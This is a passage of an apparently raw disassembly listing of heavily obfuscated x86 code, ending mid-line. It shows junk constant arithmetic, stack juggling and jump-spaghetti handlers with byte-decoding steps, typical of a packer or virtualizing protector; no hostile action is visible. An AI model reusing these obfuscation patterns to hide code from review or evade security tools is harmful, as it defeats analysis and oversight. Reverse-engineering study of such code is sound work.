push ecx mov ecx, esp jmp loc_5995E9 ; --------------------------------------------------------------------------- loc_59BD1A: ; CODE XREF: sub_57DD3A+170F6j add ebp, 0ED31881h add ebp, 0D7A8FEE2h mov esi, ebp pop ebp and esi, 31234352h push esi not [esp+68h+var_68] jmp loc_595DA1 ; --------------------------------------------------------------------------- loc_59BD38: ; CODE XREF: sub_57DD3A+1FC7Dj not eax add eax, 1 sub eax, 9A0DB0A2h add esi, eax pop eax xor esi, [esp+64h+var_64] xor [esp+64h+var_64], esi xor esi, [esp+64h+var_64] jmp loc_5A0216 ; --------------------------------------------------------------------------- loc_59BD55: ; CODE XREF: sub_57DD3A+1C446j mov esi, 3580004Bh jmp loc_59104A ; --------------------------------------------------------------------------- loc_59BD5F: ; CODE XREF: sub_57DD3A+14D19j mov ebx, ebp pop ebp sub ebx, 43DA6F72h shr ebx, 3 sub ebx, 0FFFFFFFFh xor ebx, 3F4D0798h and ebx, 539F1F4Ah add ebx, 1EB30C75h sub ecx, ebx pop ebx neg ecx jmp loc_59A69D ; --------------------------------------------------------------------------- loc_59BD8A: ; CODE XREF: sub_57DD3A+233A1j pop ebx add al, cl mov cx, word ptr [esp-6+arg_0+2] add esp, 2 sub al, bl jmp loc_59EA57 ; --------------------------------------------------------------------------- loc_59BD9B: ; CODE XREF: sub_57DD3A+169F6j pop [esp+22h+var_22] pop esp sub [esp+1Ah+var_16], ebx add [esp+1Ah+var_16], 1DDB3106h pop ebx jmp loc_59FA87 ; --------------------------------------------------------------------------- loc_59BDB1: ; CODE XREF: sub_57DD3A+17E04j add ecx, 0CC618F0h sub esi, 43AC6B4Fh sub esi, 0C654D57h add esi, ecx add esi, 0C654D57h add esi, 43AC6B4Fh jmp loc_59513C ; --------------------------------------------------------------------------- loc_59BDD6: ; CODE XREF: sub_57DD3A+2231Dj add esi, 0FFFFFFFFh jmp loc_595B63 ; --------------------------------------------------------------------------- loc_59BDE1: ; CODE XREF: sub_57DD3A+19ED4j mov ebp, 2B4554Eh push edx push ebx mov ebx, 7B354D75h mov edx, 3A5A093Fh xor edx, ebx pop ebx xor ebp, edx pop edx jmp loc_594EFB ; --------------------------------------------------------------------------- loc_59BDFD: ; CODE XREF: sub_57DD3A+1920Fj mov bl, dl jmp loc_59665A ; --------------------------------------------------------------------------- loc_59BE04: ; CODE XREF: sub_57DD3A+24066j pop esp jmp loc_599487 ; --------------------------------------------------------------------------- loc_59BE0A: ; CODE XREF: sub_57DD3A+1B340j pop esp sub esp, 4 mov [esp+2Ah+var_2A], eax mov eax, 5A150277h add eax, 0CFA17471h push ecx mov ecx, 0F2F39C2h and ecx, 0FD31146h shr ecx, 3 add ecx, 79C81976h sub ecx, 51F204B8h add eax, 68BE5230h jmp loc_58EF13 ; --------------------------------------------------------------------------- loc_59BE40: ; CODE XREF: sub_57DD3A+163EBj push [esp+90h+var_90] jmp loc_592912 ; --------------------------------------------------------------------------- loc_59BE48: ; CODE XREF: sub_57DD3A+21EDBj mov dh, bh jmp loc_58F1BD ; --------------------------------------------------------------------------- loc_59BE4F: ; CODE XREF: sub_57DD3A+127EAj sub dh, 0FFh sub esp, 4 mov [esp+22h+var_22], ebx mov bl, 45h inc bl shr bl, 2 sub esp, 4 mov [esp+26h+var_26], ecx mov cl, 0D0h or bl, cl pop ecx sub bl, 0B6h xor dh, bl mov ebx, [esp+22h+var_22] push ecx jmp loc_59AB1F ; --------------------------------------------------------------------------- loc_59BE7E: ; CODE XREF: sub_57DD3A+217E9j push [esp+26h+var_26] jmp loc_59B560 ; --------------------------------------------------------------------------- loc_59BE86: ; CODE XREF: sub_57DD3A+1E87Aj sub eax, edi jmp loc_59D0A2 ; --------------------------------------------------------------------------- loc_59BE8D: ; CODE XREF: sub_57DD3A+1BCB0j sub edx, 4 jmp loc_59CFAE ; --------------------------------------------------------------------------- loc_59BE95: ; CODE XREF: sub_57DD3A+15661j xor [esp+84h+var_84], esi xor esi, [esp+84h+var_84] pop esp mov [esp+80h+var_80], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+80h+var_80] pop esp pop ebp push 662Ch mov [esp+7Ch+var_7C], ebx mov ebx, 400h and eax, ebx push [esp+7Ch+var_7C] pop ebx push edx push esp jmp loc_5A0CAE ; --------------------------------------------------------------------------- loc_59BEC9: ; CODE XREF: sub_57DD3A+18ED9j mov [esp+26h+var_26], ebp push eax push 6A12h mov [esp+2Eh+var_2E], edi jmp loc_591E02 ; --------------------------------------------------------------------------- loc_59BEDA: ; CODE XREF: sub_57DD3A+1CBF2j add esp, 4 sub eax, 66F67FC2h jmp loc_58F232 ; --------------------------------------------------------------------------- loc_59BEE7: ; CODE XREF: sub_57DD3A+1D2B5j push ecx mov ecx, 2A7A3D20h xor ecx, 30E3662h push eax mov eax, 3A5055D4h xor ecx, eax pop eax sub esi, ecx pop ecx mov ebp, [esp+12h+var_12] add esp, 4 xchg esi, [esp+0Eh+var_E] jmp loc_58F015 ; --------------------------------------------------------------------------- loc_59BF0D: ; CODE XREF: sub_57DD3A+1C2CDj not esi push 3746h mov [esp+36h+var_36], ecx jmp loc_59B4B9 ; --------------------------------------------------------------------------- loc_59BF1C: ; CODE XREF: sub_57DD3A+15FE9j xor edi, [esp+3Eh+var_3E] pop esp and word ptr [esp+3Ah+var_3A], ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59BF2A: ; CODE XREF: sub_57DD3A+16B52j mov dl, 33h jmp loc_59767C ; --------------------------------------------------------------------------- loc_59BF31: ; CODE XREF: sub_57DD3A+129DFj sub esp, 4 mov [esp+1Eh+var_1E], edx push 517E7BB6h pop edx and edx, 150456AAh or edx, 499627EBh sub esp, 4 mov [esp+22h+var_22], ebp push 2059787Eh pop ebp xchg ecx, ebp dec ecx jmp loc_5939DB ; --------------------------------------------------------------------------- loc_59BF60: ; CODE XREF: sub_57DD3A+154F4j sub ecx, 70BC33C8h sub ecx, edx add ecx, 70BC33C8h pop edx xchg ecx, [esp+0Ch+var_E+2] pop esp jmp loc_5A2C9A ; --------------------------------------------------------------------------- loc_59BF78: ; CODE XREF: sub_57DD3A+24247j xor ah, ch pop ecx sub ah, 4Dh add dh, 0DFh add dh, ah jmp loc_58FABB ; --------------------------------------------------------------------------- loc_59BF88: ; CODE XREF: sub_57DD3A+22401j pop edx jmp loc_59495E ; --------------------------------------------------------------------------- push dx jmp loc_59E410 ; --------------------------------------------------------------------------- loc_59BF95: ; CODE XREF: sub_57DD3A+201F1j push ecx push 5B4921D3h pop ecx jmp loc_5A0307 ; --------------------------------------------------------------------------- loc_59BFA1: ; CODE XREF: sub_57DD3A+1B20Dj add esp, 4 push edx push [esp+30h+var_2E+2] mov edx, [esp+34h+var_36+2] jmp loc_5A2678 ; --------------------------------------------------------------------------- loc_59BFB4: ; CODE XREF: sub_57DD3A+15694j add esp, 4 add edi, 4 sub edi, 4 jmp loc_598D14 ; --------------------------------------------------------------------------- mov sp, word ptr [esp+84h+var_84] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59BFCE: ; CODE XREF: sub_57DD3A+1F69Fj mov bl, ch pop ecx mov edx, [esp+80h+var_80] add esp, 4 jmp loc_59A42D ; --------------------------------------------------------------------------- loc_59BFDC: ; CODE XREF: sub_57DD3A+139D9j sub esp, 4 jmp loc_598E0C ; --------------------------------------------------------------------------- loc_59BFE7: ; CODE XREF: sub_57DD3A+150F1j add ecx, eax pop eax add ecx, 4 xchg ecx, [esp+10h+var_12+2] pop esp jmp loc_5A07B4 ; --------------------------------------------------------------------------- loc_59BFF6: ; CODE XREF: sub_57DD3A+18B91j add ebp, 0CF42BAA2h add ecx, ebp mov ebp, [esp+50h+var_50] add esp, 4 jmp loc_5947C2 ; --------------------------------------------------------------------------- loc_59C00C: ; CODE XREF: sub_57DD3A+2333Bj pop esp shr eax, 18h xor eax, ecx push 70ACh mov [esp+4Ch+var_4C], eax xor [esp+4Ch+var_4C], esi xor esi, [esp+4Ch+var_4C] xor [esp+4Ch+var_4C], esi xor esi, edi xor edi, esi xor esi, edi sub esp, 4 mov [esp+50h+var_50], edi push esi jmp loc_5A16A7 ; --------------------------------------------------------------------------- loc_59C038: ; CODE XREF: sub_57DD3A+1F0CBj xor bl, 91h dec bl add bl, 20h jmp loc_59408F ; --------------------------------------------------------------------------- loc_59C045: ; CODE XREF: sub_57DD3A+1080Ej sub eax, edi pop edi xchg eax, [esp+10h+var_12+2] pop esp mov [esp+0Ch+var_E+2], ecx push edi mov edi, 1C7A6412h push ecx mov ecx, 16BE093Ah or edi, ecx pop ecx xor edi, 1EFE6D38h mov ecx, edi pop edi jmp loc_595A06 ; --------------------------------------------------------------------------- loc_59C06C: ; CODE XREF: sub_57DD3A+14645j or [edi+1Ch], ebp mov ebp, [esp+78h+var_78] push eax jmp loc_5A1974 ; --------------------------------------------------------------------------- loc_59C078: ; CODE XREF: sub_57DD3A+13BA9j pop [esp+22h+var_22] push ebp mov ebp, 4 add [esp+22h+var_1E], ebp pop ebp mov edi, [esp+1Eh+var_1E] push edi mov edi, esp jmp loc_594903 ; --------------------------------------------------------------------------- loc_59C091: ; CODE XREF: sub_57DD3A+197A7j add ecx, ebx pop ebx add edi, ecx pop ecx mov edx, edi mov edi, [esp+7Ch+var_7C] add esp, 4 push edi mov edi, 20BC1BD0h add edx, edi pop edi sub esi, edx mov edx, [esp+78h+var_78] add esp, 4 jmp loc_58F45E ; --------------------------------------------------------------------------- loc_59C0B8: ; CODE XREF: sub_57DD3A+119B7j shl edx, 1 push ebx push 6E883234h pop ebx sub ebx, 6E883235h sub [edi+24h], ebx mov ebx, [esp+84h+var_84] sub esp, 4 mov [esp+88h+var_88], ecx mov ecx, esp push ebx mov ebx, 3BAE2725h push edi mov edi, 5C406DECh sub ebx, edi pop edi dec ebx shr ebx, 3 sub ebx, 1BEDB723h add ecx, 445C0174h add ecx, 53475503h add ecx, 2332037Dh add ecx, ebx sub ecx, 2332037Dh sub ecx, 53475503h sub ecx, 445C0174h mov ebx, [esp+8Ch+var_8C] add esp, 4 jmp loc_5A2A44 ; --------------------------------------------------------------------------- loc_59C122: ; CODE XREF: sub_57DD3A+21D2Fj mov [esp+88h+var_88], esi push [esp+88h+var_84] pop esi pop [esp+88h+var_88] pop esp sub ecx, 4 jmp loc_59F4F3 ; --------------------------------------------------------------------------- loc_59C139: ; CODE XREF: sub_57DD3A+2105Ej pop ebx shl esi, 2 sub esi, 1 neg esi not esi dec esi jmp loc_5A0668 ; --------------------------------------------------------------------------- loc_59C14D: ; CODE XREF: sub_57DD3A+1A65Aj mov fs:[edx], ax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59C156: ; CODE XREF: sub_57DD3A+1A1DFj push [esp+64h+var_64] push [esp+68h+var_68] pop ecx jmp loc_595639 ; --------------------------------------------------------------------------- loc_59C162: ; CODE XREF: sub_57DD3A+22C2Bj pop ebx xchg ebp, [esp+64h+var_64] pop esp mov [esp+60h+var_60], esi push ebx mov ebx, 2 push ecx push ebx jmp loc_5A2837 ; --------------------------------------------------------------------------- loc_59C177: ; CODE XREF: sub_57DD3A+225B8j or ecx, 565858FFh jmp loc_599EC7 ; --------------------------------------------------------------------------- loc_59C182: ; CODE XREF: sub_57DD3A+2421Fj sub eax, 1F531804h add eax, ebx add eax, 1F531804h push [esp+6Ch+var_6C] pop ebx add esp, 4 jmp loc_592E30 ; --------------------------------------------------------------------------- loc_59C19D: ; CODE XREF: sub_57DD3A+139BBj pop [esp+5Ch+var_5C] mov esp, [esp+58h+var_58] jmp loc_5A12DC ; --------------------------------------------------------------------------- loc_59C1A8: ; CODE XREF: sub_57DD3A+2019Fj xor ecx, [esp+58h+var_58] xor [esp+58h+var_58], ecx xor ecx, [esp+58h+var_58] mov esp, [esp+58h+var_58] push 16Bh mov [esp+5Ch+var_5C], esp push esi mov esi, 426C7E0Fh xor esi, 5F8E513Dh add esi, 6A045656h xor esi, 87E6858Ch add [esp+60h+var_5C], esi pop esi pop [esp+5Ch+var_5C] push esi mov esi, esp add esi, 4 jmp loc_59213A ; --------------------------------------------------------------------------- loc_59C1EA: ; CODE XREF: sub_57DD3A+1BD0Ej and edi, 1D7105A7h add edi, 31BE44A2h push eax mov eax, 233418A3h sub edx, 0EB929D8h add edx, eax push 61DEh mov [esp+4Eh+var_50+2], edi mov edi, 0EB929D8h add edx, edi pop edi mov eax, [esp+4Ah+var_4C+2] add esp, 4 sub edx, edi sub edx, 233418A3h pop edi jmp loc_5A1499 ; --------------------------------------------------------------------------- loc_59C228: ; CODE XREF: sub_57DD3A+1CDBBj push 4B0Fh mov [esp+5Ch+var_5C], edx mov edx, esp push ecx mov ecx, 4 jmp loc_5A18C6 ; --------------------------------------------------------------------------- loc_59C23D: ; CODE XREF: sub_57DD3A+1817Aj push 0 sub [esp+52h+var_54+2], edx pop edx shl edx, 3 jmp loc_59815A ; --------------------------------------------------------------------------- loc_59C24E: ; CODE XREF: sub_57DD3A+195E4j sub ebp, 0EBC0C709h sub eax, 272D2CB9h sub eax, ebp add eax, 272D2CB9h pop ebp jmp loc_598212 ; --------------------------------------------------------------------------- loc_59C266: ; CODE XREF: sub_57DD3A+158D3j add esp, 4 pop ebp add edx, esi pop esi mov edi, [esp+34h+var_36+2] add esp, 4 add edx, 2 push edx push [esp+34h+var_32+2] pop edx pop [esp+34h+var_36+2] mov esp, [esp+30h+var_32+2] jmp loc_58F147 ; --------------------------------------------------------------------------- loc_59C287: ; CODE XREF: sub_57DD3A+238A8j xor ebp, 0F61B39D3h and ebp, 3D787B3Ch xor ebp, 5182A2Eh add esi, 13245E96h add esi, 2CFA6C38h add esi, ebp jmp loc_59AFE9 ; --------------------------------------------------------------------------- loc_59C2AC: ; CODE XREF: sub_57DD3A+1C63Aj push ebx mov bh, 0D6h mov ah, 0A0h jmp loc_591D9F ; --------------------------------------------------------------------------- loc_59C2B6: ; CODE XREF: sub_57DD3A+1DAC1j sub eax, 4 xchg eax, [esp-6+arg_0+2] pop esp mov [esp-0Ah+arg_6], ebx jmp loc_58FD59 ; --------------------------------------------------------------------------- loc_59C2C5: ; CODE XREF: sub_57DD3A+21807j mov eax, 2223358Eh jmp loc_59F487 ; --------------------------------------------------------------------------- loc_59C2CF: ; CODE XREF: sub_57DD3A+20439j mov ebx, 75C37148h mov edx, ebx pop ebx and edx, 7B36CDEh sub edx, 3FCD5F98h xor ebx, edx mov edx, [esp-0Eh+arg_A] add esp, 4 add ebp, ebx mov ebx, [esp-12h+arg_E] add esp, 4 add ebp, 4 jmp loc_59DB0B ; --------------------------------------------------------------------------- loc_59C301: ; CODE XREF: sub_57DD3A+15F59j mov ebx, 0D82212F0h jmp loc_59A1EC ; --------------------------------------------------------------------------- loc_59C30B: ; CODE XREF: sub_57DD3A+108B7j mov eax, [esp+14h+var_16+2] push edi mov edi, esp add edi, 4 jmp loc_5910DE ; --------------------------------------------------------------------------- loc_59C31C: ; DATA XREF: sub_57DD3A+10502o mov cx, word ptr [esp+18h+var_1A+2] sub esp, 4 mov [esp+1Ch+var_1E+2], ecx mov ecx, esp sub esp, 4 mov [esp+20h+var_22+2], ebx jmp loc_5A2323 ; --------------------------------------------------------------------------- loc_59C333: ; CODE XREF: sub_57DD3A+1686Bj shl edi, 6 xor edi, 793C779Fh jmp loc_5A280D ; --------------------------------------------------------------------------- loc_59C341: ; CODE XREF: sub_57DD3A+15A0Bj pop esp add esp, 4 and eax, ebx mov ebx, [esp+5Ah+var_5C+2] add esp, 4 push eax push ecx pop eax pop ecx not ecx jmp loc_599F47 ; --------------------------------------------------------------------------- loc_59C358: ; CODE XREF: sub_57DD3A+1C13Aj push edi push ecx mov ecx, 1E8271DEh mov edi, ecx pop ecx shl edi, 6 add edi, 19D262ECh sub esp, 4 mov [esp+5Ah+var_5C+2], ecx push edi jmp loc_59BC9A ; --------------------------------------------------------------------------- loc_59C37A: ; CODE XREF: sub_57DD3A+167D7j sub edi, 74DF5119h sub edi, 758B45A0h add edi, ecx jmp loc_596F68 ; --------------------------------------------------------------------------- loc_59C38D: ; CODE XREF: sub_57DD3A+219AAj push 65B9h mov [esp+50h+var_50], edx jmp loc_59D3D2 ; --------------------------------------------------------------------------- loc_59C39A: ; CODE XREF: sub_57DD3A+19589j mov eax, 1E882743h add [esp+3Ah+var_2E], eax pop eax jmp loc_5A0E62 ; --------------------------------------------------------------------------- loc_59C3A9: ; CODE XREF: sub_57DD3A+21B81j pop edi xor eax, ebp mov ebp, [esp+32h+var_32] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+36h+var_36] jmp loc_5A1EBA ; --------------------------------------------------------------------------- loc_59C3C3: ; CODE XREF: sub_57DD3A+11351j push 513B3350h jmp loc_59A185 ; --------------------------------------------------------------------------- loc_59C3CD: ; CODE XREF: sub_57DD3A+16CD5j mov ebx, [esp+18h+var_1A+2] add esp, 4 jmp loc_58F687 ; --------------------------------------------------------------------------- loc_59C3D8: ; CODE XREF: sub_57DD3A+1F5A4j add esi, 6452B79h add esi, ebx sub esi, 6452B79h pop ebx push edi push ecx jmp loc_594EEB ; --------------------------------------------------------------------------- loc_59C3EE: ; CODE XREF: sub_57DD3A+13B3Ej push esp jmp loc_59011D ; --------------------------------------------------------------------------- loc_59C3F4: ; CODE XREF: sub_57DD3A+1A74Cj push [esp+68h+var_68] mov edx, [esp+6Ch+var_6C] add esp, 4 push edi push esp jmp loc_593902 ; --------------------------------------------------------------------------- loc_59C407: ; DATA XREF: sub_57DD3A+103E2o lodsd xor eax, ebx push edi push ebx sub esp, 4 mov [esp+7Ch+var_7C], edx mov edx, esp jmp loc_5A0A8F ; --------------------------------------------------------------------------- loc_59C419: ; CODE XREF: sub_57DD3A+22BB0j add edx, 600313A1h push ebp jmp loc_5A1436 ; --------------------------------------------------------------------------- loc_59C425: ; CODE XREF: sub_57DD3A+1FFC0j push ebx mov ebx, 31317E1Dh push ebx jmp loc_5A2894 ; --------------------------------------------------------------------------- loc_59C431: ; CODE XREF: sub_57DD3A+22992j xor esi, [esp+88h+var_88] mov esp, [esp+88h+var_88] xor edx, [esp+88h+var_88] jmp loc_5A254F ; --------------------------------------------------------------------------- loc_59C43F: ; CODE XREF: sub_57DD3A+15BF5j push edi mov edi, 2E7E2E16h jmp loc_5982EF ; --------------------------------------------------------------------------- loc_59C44A: ; CODE XREF: sub_57DD3A+234CAj add bl, ah sub bl, 0E1h pop ax sub bl, al jmp loc_5960E5 ; --------------------------------------------------------------------------- loc_59C458: ; CODE XREF: sub_57DD3A+1B8D9j pop eax push ecx push dword ptr [esp+4] mov ecx, [esp+12h+var_12] add esp, 4 jmp loc_59FF73 ; --------------------------------------------------------------------------- loc_59C46C: ; CODE XREF: sub_57DD3A+123AFj mov ebx, [esp+42h+var_42] add esp, 4 push eax mov eax, 4 add ebx, eax pop eax push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp+3Eh+var_3E] jmp loc_590B8C ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 mov [esp+42h+var_42], edx push ecx push edx mov dl, 0F7h mov cl, 0E1h sub cl, dl push [esp+4Ah+var_4C+2] pop edx push edi jmp loc_595A7A ; --------------------------------------------------------------------------- loc_59C4AD: ; CODE XREF: sub_57DD3A+1FBA3j xor edi, [esp+4Eh+var_50+2] mov esp, [esp+4Eh+var_50+2] shl word ptr [esp+4Eh+var_50+2], cl pushf jmp loc_590F6C ; --------------------------------------------------------------------------- loc_59C4BD: ; CODE XREF: sub_57DD3A+16842j not [esp+50h+var_50] jmp loc_596299 ; --------------------------------------------------------------------------- loc_59C4C5: ; CODE XREF: sub_57DD3A+13974j xchg eax, [esp+2Eh+var_2E] jmp loc_59156C ; --------------------------------------------------------------------------- loc_59C4CD: ; CODE XREF: sub_57DD3A+17862j shl eax, 5 jmp loc_59CC67 ; --------------------------------------------------------------------------- loc_59C4D5: ; CODE XREF: sub_57DD3A+11416j push ebx mov bl, dl jmp loc_59D911 ; --------------------------------------------------------------------------- loc_59C4DD: ; CODE XREF: sub_57DD3A+2461Aj sub esi, ebp pop ebp push ecx mov ecx, 3C051ABAh add ecx, 56F24C78h xor esi, ecx jmp loc_5915F0 ; --------------------------------------------------------------------------- loc_59C4F3: ; CODE XREF: sub_57DD3A+16FE7j and ebx, 46615A65h push ecx mov ecx, 29FD7D29h xor ecx, 4579436Dh jmp loc_5A2A83 ; --------------------------------------------------------------------------- loc_59C50A: ; CODE XREF: sub_57DD3A+2495Ej add eax, 12935CFEh jmp loc_58E516 ; --------------------------------------------------------------------------- loc_59C514: ; CODE XREF: sub_57DD3A+1AFA5j mov eax, esp push ebp jmp loc_591EFA ; --------------------------------------------------------------------------- lodsb push edx push 24C8h mov [esp+1Ch+var_1E+2], eax jmp loc_592091 ; --------------------------------------------------------------------------- loc_59C52B: ; CODE XREF: sub_57DD3A+1A506j xor esi, 8243225h push ecx jmp loc_59038A ; --------------------------------------------------------------------------- loc_59C537: ; CODE XREF: sub_57DD3A+235ABj add esp, 4 add esp, 4 push ecx mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi jmp loc_59CC59 ; --------------------------------------------------------------------------- loc_59C551: ; CODE XREF: sub_57DD3A+130B4j push 355Dh mov [esp+60h+var_60], ebx pop ebp jmp loc_5A01D8 ; --------------------------------------------------------------------------- loc_59C55F: ; CODE XREF: sub_57DD3A+1FAE2j xchg edx, [esp+5Ch+var_5C] mov esp, [esp+5Ch+var_5C] add esi, 4 jmp loc_59837E ; --------------------------------------------------------------------------- loc_59C570: ; CODE XREF: sub_57DD3A+1D2F9j mov eax, [esp+58h+var_58] add esp, 4 push ecx jmp loc_59D5B9 ; --------------------------------------------------------------------------- loc_59C57C: ; CODE XREF: sub_57DD3A+122F3j mov eax, 0D6A2EF57h sub esi, eax pop eax push edx jmp loc_59A319 ; --------------------------------------------------------------------------- loc_59C58A: ; DATA XREF: sub_57DD3A+1033Eo push 6E4Fh mov [esp+50h+var_50], edx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59C597: ; CODE XREF: sub_57DD3A+138E6j push edi jmp loc_5948EB ; --------------------------------------------------------------------------- loc_59C59D: ; CODE XREF: sub_57DD3A+12569j add esp, 4 push edx mov edx, 12EC66D9h sub eax, edx pop edx push edi mov edi, 75EA7AB4h sub eax, 71F62C3Fh jmp loc_59BE86 ; --------------------------------------------------------------------------- loc_59C5B9: ; CODE XREF: sub_57DD3A+1935Ej mov esp, [esp+0] mov [esp+0], eax xchg esi, [esp+0] jmp loc_592D1B ; --------------------------------------------------------------------------- loc_59C5C7: ; CODE XREF: sub_57DD3A+12AB7j add eax, esi pop esi jmp loc_5A1DCB ; --------------------------------------------------------------------------- loc_59C5CF: ; CODE XREF: sub_57DD3A+2384Aj xor ecx, 3104F5Fh dec ecx add ecx, 196BE213h sub ebp, ecx mov ecx, [esp+14h+var_16+2] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+18h+var_1A+2] pop esp jmp loc_5941DD ; --------------------------------------------------------------------------- loc_59C5F6: ; CODE XREF: sub_57DD3A+217C5j mov ecx, [esp+14h+var_16+2] push 2A72h mov [esp+18h+var_1A+2], ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+18h+var_1A+2] pop esp jmp loc_5A105C ; --------------------------------------------------------------------------- loc_59C615: ; CODE XREF: sub_57DD3A+10B96j sub eax, 98B1DA1h add eax, 1AF7016Bh push 21BDh jmp loc_59765A ; --------------------------------------------------------------------------- loc_59C629: ; CODE XREF: sub_57DD3A+1EE23j mov [esp+6+var_8+2], ebp jmp loc_58F1DB ; --------------------------------------------------------------------------- loc_59C631: ; CODE XREF: sub_57DD3A+185D8j sub esi, 6CA75923h dec esi add esi, 2BB1971Ch jmp loc_59F250 ; --------------------------------------------------------------------------- loc_59C643: ; CODE XREF: sub_57DD3A+17411j add esp, 4 push 976h mov [esp+5Ch+var_5C], esi xor [esp+5Ch+var_5C], 2B0672EBh push [esp+5Ch+var_5C] pop edi jmp loc_58F195 ; --------------------------------------------------------------------------- loc_59C65E: ; CODE XREF: sub_57DD3A+1586Fj add esi, 2 xchg esi, [esp+44h+var_46+2] mov esp, [esp+44h+var_46+2] push edi sub esp, 4 mov [esp+4Ch+var_4C], esp add [esp+4Ch+var_4C], 4 jmp loc_594547 ; --------------------------------------------------------------------------- loc_59C67A: ; CODE XREF: sub_57DD3A+240D7j push ecx push [esp+50h+var_4C] pop ecx pop [esp+50h+var_50] mov esp, [esp+4Ch+var_4C] mov [esp+4Ch+var_4C], edx sub esp, 4 mov [esp+50h+var_50], eax push 1869h jmp loc_5A2B0B ; --------------------------------------------------------------------------- loc_59C699: ; CODE XREF: sub_57DD3A+1A12Dj not bh mov dh, bh pop bx shr dh, 8 shl dh, 1 push 93Eh mov [esp+30h+var_32+2], eax mov al, 14h shr al, 3 and al, 0AEh and al, 89h sub al, 34h sub dh, al push [esp+30h+var_32+2] pop eax add esp, 4 shl dh, 6 add dh, 4Bh add al, dh jmp loc_5A2359 ; --------------------------------------------------------------------------- loc_59C6CD: ; CODE XREF: sub_57DD3A+21431j and ebx, 7B7A7825h shl ebx, 4 or ebx, 548E0891h sub ebx, 4F1D280Ah sub ebx, 0E3F9FBEEh add eax, ebx pop ebx push small word ptr [eax] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59C6F3: ; CODE XREF: sub_57DD3A+1FDCCj pop edx push edx push esi push 6B757EF1h pop esi sub esi, 0FA6F57A3h jmp loc_599711 ; --------------------------------------------------------------------------- loc_59C707: ; CODE XREF: sub_57DD3A+25113j pop ebx mov ebx, [esp+2Ah+var_2A] add esp, 4 shl ebp, 5 sub esp, 4 mov [esp+2Ah+var_2A], eax mov eax, 0E530D279h jmp loc_59B980 ; --------------------------------------------------------------------------- loc_59C724: ; CODE XREF: sub_57DD3A+153BBj sub ebp, 6C9E0BB5h jmp loc_595FDA ; --------------------------------------------------------------------------- loc_59C72F: ; CODE XREF: sub_57DD3A+12764j mov ecx, 126A40F4h shr ecx, 5 dec ecx shl ecx, 6 xor ecx, 52A94BBh push eax mov eax, ecx mov edx, eax pop eax pop ecx mov ebp, edx pop edx add ebp, 709D0B58h push 27E8h mov [esp+1Ah+var_1A], esi mov esi, 2413213Bh jmp loc_59DB6E ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Ah+var_1A] push esi push 39E5h mov [esp+22h+var_22], esp add [esp+22h+var_22], 4 push [esp+22h+var_22] mov esi, [esp+26h+var_26] sub esp, 4 mov [esp+2Ah+var_2A], edx mov edx, esp add edx, 4 jmp loc_592B63 ; --------------------------------------------------------------------------- loc_59C793: ; CODE XREF: sub_57DD3A+14672j sub esi, 4E0F3D08h add esi, 121957DCh jmp loc_595529 ; --------------------------------------------------------------------------- loc_59C7A4: ; CODE XREF: sub_57DD3A+1D79Cj add edx, 4 add edx, 4 xchg edx, [esp+50h+var_50] pop esp push [esp+4Ch+var_4C] mov eax, [esp+50h+var_50] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+54h+var_54] jmp loc_59423E ; --------------------------------------------------------------------------- loc_59C7CB: ; CODE XREF: sub_57DD3A+24CA8j mov ebp, esi pop esi jmp loc_5A0470 ; --------------------------------------------------------------------------- lodsb jmp loc_59A70A ; --------------------------------------------------------------------------- loc_59C7D9: ; CODE XREF: sub_57DD3A+1556Aj add ebx, 6425245Bh jmp loc_5A1CF6 ; --------------------------------------------------------------------------- loc_59C7E4: ; CODE XREF: sub_57DD3A+1A53Cj pop ebx add edi, 4 push edi push [esp+3Eh+var_3A] pop edi pop [esp+3Eh+var_3E] pop esp push small 37Bh mov word ptr [esp+38h+var_3A+2], cx push ebx push edx jmp loc_59A00C ; --------------------------------------------------------------------------- loc_59C801: ; CODE XREF: sub_57DD3A+1543Cj add edi, esi pop esi xchg edi, [esp+4+var_4] pop esp push ebp push esp jmp loc_5961B9 ; --------------------------------------------------------------------------- loc_59C80F: ; CODE XREF: sub_57DD3A+1B2E5j push esp push [esp+18h+var_1A+2] mov edx, [esp+1Ch+var_1E+2] push ebx push esp pop ebx add ebx, 4 jmp loc_591F1F ; --------------------------------------------------------------------------- loc_59C824: ; CODE XREF: sub_57DD3A+23C0Dj add edi, 101024EBh mov esi, [esp+20h+var_22+2] jmp loc_58FD67 ; --------------------------------------------------------------------------- loc_59C832: ; CODE XREF: sub_57DD3A+23860j add esi, 1C72757Dh sub esi, edi sub esi, 1C72757Dh pop edi push 7857h mov [esp+20h+var_22+2], edx mov edx, 7FEC4466h jmp loc_592306 ; --------------------------------------------------------------------------- loc_59C853: ; CODE XREF: sub_57DD3A+1DE51j xor [esp+32h+var_32], esi xor esi, [esp+32h+var_32] pop esp jmp loc_59A193 ; --------------------------------------------------------------------------- loc_59C85F: ; CODE XREF: sub_57DD3A+20959j push 7AAEh mov [esp+32h+var_32], edx push ebx mov bh, 37h mov dh, bh mov ebx, [esp+36h+var_36] jmp loc_596012 ; --------------------------------------------------------------------------- loc_59C874: ; CODE XREF: sub_57DD3A+2123Aj add eax, 6E7003EEh pop ebp jmp loc_5A1D9A ; --------------------------------------------------------------------------- loc_59C87F: ; CODE XREF: sub_57DD3A+1C64Aj pop edx xor ecx, ebp jmp loc_590A67 ; --------------------------------------------------------------------------- loc_59C887: ; CODE XREF: sub_57DD3A+18586j xor ecx, [esp+4Eh+var_50+2] jmp loc_59194A ; --------------------------------------------------------------------------- loc_59C88F: ; CODE XREF: sub_57DD3A+14EBEj mov [esp+1Ah+var_1A], ebp mov ebp, 63041B37h jmp loc_5A1638 ; --------------------------------------------------------------------------- loc_59C89C: ; CODE XREF: sub_57DD3A+1788Aj sub edx, 5EE7084Dh sub edx, esi jmp loc_5965E3 ; --------------------------------------------------------------------------- loc_59C8A9: ; CODE 